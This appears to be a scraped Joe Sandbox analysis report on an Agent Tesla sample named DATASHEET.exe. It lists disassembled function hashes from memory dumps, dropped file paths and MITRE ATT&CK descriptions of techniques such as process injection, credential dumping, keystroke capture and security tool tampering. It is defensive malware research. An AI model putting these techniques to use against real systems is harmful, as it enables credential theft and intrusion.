Opcode Fuzzy Hash: 4417870d9ab754eb2ad439c9193ce043c89b70f6f05013a7347b50c575e380ed
Instruction Fuzzy Hash: 7B11CFB1D01219AFDB00DF9AD884ACEFBB4FB49324F10812AE918A7240C374A954CFA5

Function 06D24280 Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.4169455122.0000000006D20000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6d20000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 05c554731d0c3c5944b6efd53d94ddc8266f3556ba9a7cb5cff7a7c590569b32
Instruction ID: 636538eb920138a83bc6767f047d4ee098bde33092a06925d8e34f24d1d5d278
Opcode Fuzzy Hash: 05c554731d0c3c5944b6efd53d94ddc8266f3556ba9a7cb5cff7a7c590569b32
Instruction Fuzzy Hash: FF01DC31B004225BDBA09ABEE404B2FB2CAEFC9724F208439E50ECB344EE65DC4243D5

Function 06D2F218 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.4169455122.0000000006D20000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6d20000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ba0bd6e6699c81c290db24b25b8c82049e7655966c7b0e6490523b1254239f5c
Instruction ID: bc789e87c4889734082bc865561bcfca4d022943261428c7b58f9347b606d79b
Opcode Fuzzy Hash: ba0bd6e6699c81c290db24b25b8c82049e7655966c7b0e6490523b1254239f5c
Instruction Fuzzy Hash: 23018C75B040221BDB659BADA454B2E63EAEBCA618F108839E20EC7340EE65DC0247D9

Function 06D2A38D Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.4169455122.0000000006D20000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6d20000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b162133e1ff10ecf8540e4ca095727b99fb6faa2b2ed40765ecdf4efc539115a
Instruction ID: 87b2356926ce01730b53d8394eefe324a4b2c55aa4ee77dc4202f66c8d1fa69b
Opcode Fuzzy Hash: b162133e1ff10ecf8540e4ca095727b99fb6faa2b2ed40765ecdf4efc539115a
Instruction Fuzzy Hash: B4018130B001225BCB609AACE854B6A73DAFBC9718F144838E10EC7340DE25EC4283E5

Function 06D23C2D Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.4169455122.0000000006D20000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6d20000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 885ef3ccd325006a773561cf236fa2bd7d771c3b86b0eada52deaadc6517fb2d
Instruction ID: 326d9324f37294c6662aeb28b66a268bfc0090f854c82ca5d819ed8ab9b8d190
Opcode Fuzzy Hash: 885ef3ccd325006a773561cf236fa2bd7d771c3b86b0eada52deaadc6517fb2d
Instruction Fuzzy Hash: BB018632B141355BEB589668DC14AFF73AEDBC8B15F01403AD50AD7280EE68DC0247E2

Function 06D2A390 Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.4169455122.0000000006D20000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6d20000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d1251568b0d52958165b8f6e4afec715af5ecdabe7f060863bf580618d9cd4c2
Instruction ID: 72a1330af7c2bbaa332b06eb8be5efc9344b5dfea25f8cfc447651c07d78d51d
Opcode Fuzzy Hash: d1251568b0d52958165b8f6e4afec715af5ecdabe7f060863bf580618d9cd4c2
Instruction Fuzzy Hash: 42013130B101225BDB659AACE454B2A73DAFBC9759F144839E10EC7344DE25EC428795

Function 0167D8C5 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.4155744592.000000000167D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0167D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_167d000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cfda7e3df6e90e2c64df8f68d9ae61fec99b3ad6aba5879f9e872c78bde2a8d6
Instruction ID: 7d200319c6334ab39cd99d7ce55f019d69d1619bb1d76471dff53e3968952f85
Opcode Fuzzy Hash: cfda7e3df6e90e2c64df8f68d9ae61fec99b3ad6aba5879f9e872c78bde2a8d6
Instruction Fuzzy Hash: 8A01D631008344AAF7118A6EDD84B67BFECEF45324F18CC2AED4D4A286C779D841CAB1

Function 06D23C27 Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.4169455122.0000000006D20000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6d20000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e8d04b71477603a2e1f312d9346383a098690ed43cffdcf10717e7c0967f2e6d
Instruction ID: be47267f2d8f28e914fe5f0763b7e6beac7130925e5b5443dfb8de96351eb848
Opcode Fuzzy Hash: e8d04b71477603a2e1f312d9346383a098690ed43cffdcf10717e7c0967f2e6d
Instruction Fuzzy Hash: CEF06832B140365BEB889674EC507BF63EBDBD8A15F05403AD50AD3250EF29DC129795

Function 06D2C843 Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.4169455122.0000000006D20000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6d20000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3381336abbf85bcf6bb539c1989c6461f1abd978af286c1d70e37317b8929c30
Instruction ID: 96ca3f2c05b40a0bd256a8309bbce3d38ca49773731f3d560d0b43989fbf11cd
Opcode Fuzzy Hash: 3381336abbf85bcf6bb539c1989c6461f1abd978af286c1d70e37317b8929c30
Instruction Fuzzy Hash: 6BF0BE32F312359BCBA49A68EC049EEB736EB84254F008529E801E7280D6329D058BC0

Function 0167D8C4 Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.4155744592.000000000167D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0167D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_167d000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e08c8abd66433c96c2d4759c20772cf9e7d3cdddc7ab4d1a93a21556d11ce701
Instruction ID: 6a7a100b19526154850056f2211a15d8fc15867e72275259b8935bc390f71c65
Opcode Fuzzy Hash: e08c8abd66433c96c2d4759c20772cf9e7d3cdddc7ab4d1a93a21556d11ce701
Instruction Fuzzy Hash: 11F06271404344AAE7118E1ADD84B66FFE8EF45634F18C85AED484A286C379A845CAB1

Function 06D264FD Relevance: .0, Instructions: 24COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.4169455122.0000000006D20000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6d20000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 49e5b8df24c716313b59342816051bd4b1caa3032c340481585f58d7b3215510
Instruction ID: 3939984a0f58ababf0f005dd41a79fa185fe43230ef8f1072727932bea78d2b3
Opcode Fuzzy Hash: 49e5b8df24c716313b59342816051bd4b1caa3032c340481585f58d7b3215510
Instruction Fuzzy Hash: 76E08C70E1025AABDF60CFB0C98676E77ADDB45208F2088A8E409C7206E577DE014790

Function 06D264F1 Relevance: .0, Instructions: 10COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.4169455122.0000000006D20000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6d20000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 05221cb0d890b020a7d9d7d586a5f9f86a854a5923875ea39a3b2ab06dd34f87
Instruction ID: 85f776a20584a42cfbf363c2f8dd83e7211a47d5643a9e215f388b6c75be3423
Opcode Fuzzy Hash: 05221cb0d890b020a7d9d7d586a5f9f86a854a5923875ea39a3b2ab06dd34f87
Instruction Fuzzy Hash: 82B012E385A3EA0FE7865AA03C2483A3F0BD7E620CB810BC27849C7056E50BDC2441B3

Non-executed Functions

Function 06D27720 Relevance: 13.0, Strings: 10, Instructions: 468COMMON

Download Yara Rule

Strings

$^q, xrefs: 06D27C82
$^q, xrefs: 06D27BCD
$^q, xrefs: 06D27C8E
$^q, xrefs: 06D27810
$^q, xrefs: 06D27BD9
$^q, xrefs: 06D2781C
$^q, xrefs: 06D27C6C
$^q, xrefs: 06D2784D
$^q, xrefs: 06D27C78
$^q, xrefs: 06D27841

Memory Dump Source

Source File: 0000000D.00000002.4169455122.0000000006D20000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6d20000_RegSvcs.jbxd

Similarity

API ID:
String ID: $^q$$^q$$^q$$^q$$^q$$^q$$^q$$^q$$^q$$^q
API String ID: 0-2222239885
Opcode ID: fa878d35d3e288f783140cc6b569c615074757beb331f78951eb43292bcb56dd
Instruction ID: 736c2f4747fbcfd9ff7230c34e0a0e77047388a19ad9b0439a5d75c9cc7447eb
Opcode Fuzzy Hash: fa878d35d3e288f783140cc6b569c615074757beb331f78951eb43292bcb56dd
Instruction Fuzzy Hash: 5B121A30E0022ACFDB68DF75C854AAEB7F6BF98704F208569D409AB354DB309D85CB91

Function 06D2A9B0 Relevance: 10.2, Strings: 8, Instructions: 229COMMON

Download Yara Rule

Strings

$^q, xrefs: 06D2AB2C
$^q, xrefs: 06D2AB0D
$^q, xrefs: 06D2AB62
$^q, xrefs: 06D2AB01
$^q, xrefs: 06D2AAB2
$^q, xrefs: 06D2AB38
$^q, xrefs: 06D2AAA6
$^q, xrefs: 06D2AB6E

Memory Dump Source

Source File: 0000000D.00000002.4169455122.0000000006D20000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6d20000_RegSvcs.jbxd

Similarity

API ID:
String ID: $^q$$^q$$^q$$^q$$^q$$^q$$^q$$^q
API String ID: 0-3823777903
Opcode ID: 4cac40d7163f35d941c8d051b6885e87fb7d0088bcb581e63081c97b18e49fd7
Instruction ID: 10bb14e8a9e84fb4ce13b0b4fd566c411f0e2dbdf3fdcb32ed4a2c68355474eb
Opcode Fuzzy Hash: 4cac40d7163f35d941c8d051b6885e87fb7d0088bcb581e63081c97b18e49fd7
Instruction Fuzzy Hash: 8A918C30E0021A9FEB68DF69D954B6EBBF6FF94708F188529E4019B254DB34DC85CB90

Function 06D27120 Relevance: 9.2, Strings: 7, Instructions: 405COMMON

Download Yara Rule

Strings

$^q, xrefs: 06D2745C
$^q, xrefs: 06D27634
.5vq, xrefs: 06D2717B
$^q, xrefs: 06D275BC
$^q, xrefs: 06D27402
$^q, xrefs: 06D27628
$^q, xrefs: 06D27468

Memory Dump Source

Source File: 0000000D.00000002.4169455122.0000000006D20000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6d20000_RegSvcs.jbxd

Similarity

API ID:
String ID: .5vq$$^q$$^q$$^q$$^q$$^q$$^q
API String ID: 0-390881366
Opcode ID: 883500efa6faffca23aaa7e7044dfafefd9bf347fc62a43de9176979a4765bf6
Instruction ID: 0e8a9b18c83c2d6e2ee65d0b0abb9e14feeb6df1444040d14c8047ba8f54379f
Opcode Fuzzy Hash: 883500efa6faffca23aaa7e7044dfafefd9bf347fc62a43de9176979a4765bf6
Instruction Fuzzy Hash: 1CF13C30B0121ACFDB54DBA8D994A6EB7B6FF98305F208568D4059B358CB35DC86CB91

Function 06D2BA70 Relevance: 7.7, Strings: 6, Instructions: 197COMMON

Download Yara Rule

Strings

$^q, xrefs: 06D2BC23
$^q, xrefs: 06D2BBEF
$^q, xrefs: 06D2BC57
$^q, xrefs: 06D2BC17
$^q, xrefs: 06D2BC4B
$^q, xrefs: 06D2BBE3

Memory Dump Source

Source File: 0000000D.00000002.4169455122.0000000006D20000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6d20000_RegSvcs.jbxd

Similarity

API ID:
String ID: $^q$$^q$$^q$$^q$$^q$$^q
API String ID: 0-2392861976
Opcode ID: 15abfce3d7802503761730bdd2e1bfdc89627a271f40229392f58dc1fefefec2
Instruction ID: 395ba922b1e5f16120b3263f96050b01d4319bdeceafd37055625cb51df6610c
Opcode Fuzzy Hash: 15abfce3d7802503761730bdd2e1bfdc89627a271f40229392f58dc1fefefec2
Instruction Fuzzy Hash: 81719F30E0022A8FDB58CFA8D9546ADB7F2FF94708F10896AD4069B355DBB1DC45CB91

Function 06D28458 Relevance: 5.3, Strings: 4, Instructions: 282COMMON

Download Yara Rule

Strings

$^q, xrefs: 06D28717
$^q, xrefs: 06D28723
$^q, xrefs: 06D286B2
$^q, xrefs: 06D286BE

Memory Dump Source

Source File: 0000000D.00000002.4169455122.0000000006D20000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6d20000_RegSvcs.jbxd

Similarity

API ID:
String ID: $^q$$^q$$^q$$^q
API String ID: 0-2125118731
Opcode ID: 19bce7066d0f4a6a2c003cd48d628c411480143f566646fb84ae4586b3925a0a
Instruction ID: 31a22bab059314e5a506e6799e233e9a352aaaa23fe829e82697d6aadc18c251
Opcode Fuzzy Hash: 19bce7066d0f4a6a2c003cd48d628c411480143f566646fb84ae4586b3925a0a
Instruction Fuzzy Hash: 34B14930E0021A8FDB54DF68D99466EB7B7FF98305F248829D0059B354DB74DC8ACB90

Function 06D28870 Relevance: 5.2, Strings: 4, Instructions: 168COMMON

Download Yara Rule

Strings

LR^q, xrefs: 06D28963
$^q, xrefs: 06D288FB
$^q, xrefs: 06D288EF
LR^q, xrefs: 06D289B2

Memory Dump Source

Source File: 0000000D.00000002.4169455122.0000000006D20000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6d20000_RegSvcs.jbxd

Similarity

API ID:
String ID: LR^q$LR^q$$^q$$^q
API String ID: 0-2454687669
Opcode ID: fd228c398e0eb5dde827f5ea3de48328837535b95e45abc2ca8af74684921403
Instruction ID: 2c529c96effa3c47734b3c2481287a5f529d486a1d82f35c7ae08d79d5437cd2
Opcode Fuzzy Hash: fd228c398e0eb5dde827f5ea3de48328837535b95e45abc2ca8af74684921403
Instruction Fuzzy Hash: A751D430B002168FDB58DF68D944A6AB7F6FF98308F148568E4059B3A5DF35EC49CBA1

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Tactics:	Credential Access
Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report DATASHEET.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Agenttesla

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Persistence and Installation Behavior

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\DATASHEET.exe.log

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\jwvzGqkYNEejno.exe.log

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0idfn5sd.sey.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_4ohgw5pf.2pt.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_foo002tp.i5k.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_qfghmcx1.3of.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_r5k3ypuk.01i.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_xmbm2xhz.loo.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_xxrvomvr.trt.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_yonm3dkw.rzk.psm1

C:\Users\user\AppData\Local\Temp\tmp8AFA.tmp

Windows Analysis Report
DATASHEET.exe

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

